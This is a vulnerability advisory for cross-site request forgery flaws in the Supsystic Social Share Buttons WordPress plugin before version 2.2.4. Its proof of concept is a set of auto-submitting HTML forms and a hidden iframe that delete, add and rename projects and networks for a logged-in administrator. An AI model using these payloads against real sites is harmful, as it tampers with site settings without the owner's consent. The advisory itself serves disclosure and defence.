WordPress Plugin Vulnerabilities

Social Share Buttons by Supsystic < 2.2.4 - Multiple CSRF

Description

The plugin does not perform CSRF checks in it's ajax endpoints and admin pages, allowing an attacker to trick any logged in user to manipulate or change the plugin settings, as well as create, delete and rename projects and networks.

Proof of Concept

<form id="test" action="https://example.com/wp-admin/admin-ajax.php" method="POST">
    <input type="text" name="route[module]" value="projects">
    <input type="text" name="route[action]" value="removeNetwork">
    <input type="text" name="network_id" value="1">
    <input type="text" name="project_id" value="4">
    <input type="text" name="action" value="social-sharing">
</form>
<script>
    document.getElementById("test").submit();
</script>


<form id="test" action="https://example.com/wp-admin/admin-ajax.php" method="POST">
    <input type="text" name="route[module]" value="projects">
    <input type="text" name="route[action]" value="add">
    <input type="text" name="title" value="test">
    <input type="text" name="design" value="flat">
    <input type="text" name="networks[0]" value="1">
    <input type="text" name="action" value="social-sharing">
</form>
<script>
    document.getElementById("test").submit();
</script>


<form id="test" action="https://example.com/wp-admin/admin.php?page=supsystic-social-sharing&module=projects&action=delete&id=2" method="POST">
</form>
<script>
    document.getElementById("test").submit();
</script>


<iframe src="https://example.com/wp-admin/admin.php?page=supsystic-social-sharing&module=projects&action=delete&id=3" width="0" height="0" frameborder="0"></iframe>


<form id="test" action="https://example.com/wp-admin/admin-ajax.php" method="POST">
    <input type="text" name="route[module]" value="projects">
    <input type="text" name="route[action]" value="rename">
    <input type="text" name="title" value="Hacked">
    <input type="text" name="id" value="4">
    <input type="text" name="action" value="social-sharing">
</form>
<script>
    document.getElementById("test").submit();
</script>

Affects Plugins

References

Classification

Miscellaneous

Original Researcher
Daniel Ruf
Submitter
Daniel Ruf
Submitter website
Verified
Yes

Timeline

Publicly Published
2022-06-01 (about 1 years ago)
Added
2022-06-01 (about 1 years ago)
Last Updated
2023-03-03 (about 1 years ago)

Other